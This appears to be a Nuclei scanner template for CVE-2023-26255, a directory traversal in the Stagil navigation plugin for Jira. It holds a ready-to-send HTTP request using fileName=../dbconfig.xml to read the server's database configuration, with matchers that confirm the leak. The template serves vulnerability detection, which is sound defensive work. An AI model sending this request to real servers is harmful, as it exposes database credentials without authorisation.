CVE-2023-26255

CVE-2023-26255.yaml

id: CVE-2023-26255

info:
  name: Stagil navigation for jira - Local File Inclusion
  author: 0x240x23elu
  severity: high
  description: Prior to version 2.0.52 of the “Stagil navigation for jira – Menù & Themes", the fileName parameter is vulnerable to a "Directory Traversal" that would allow an attacker to read files on the server knowing their path
  reference:
    - https://github.com/1nters3ct/CVEs/blob/main/CVE-2023-26255.md
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-23
  tags: jira,lfi,
  metadata:
    max-request: 1

http:
  - raw:
      - |
        GET /plugins/servlet/snjCustomDesignConfig?fileName=../dbconfig.xml&fileMime=$textMime  HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
        Accept: image/avif,image/webp,*/*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Connection: close
        Sec-Fetch-Dest: image
        Sec-Fetch-Mode: no-cors
        Sec-Fetch-Site: same-origin

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "X-AUSERNAME"
          - "anonymous"
      - type: word
        part: body
        words:
          - "jdbc"
          - "<jira-database-config>"

      - type: status
        status:
          - 200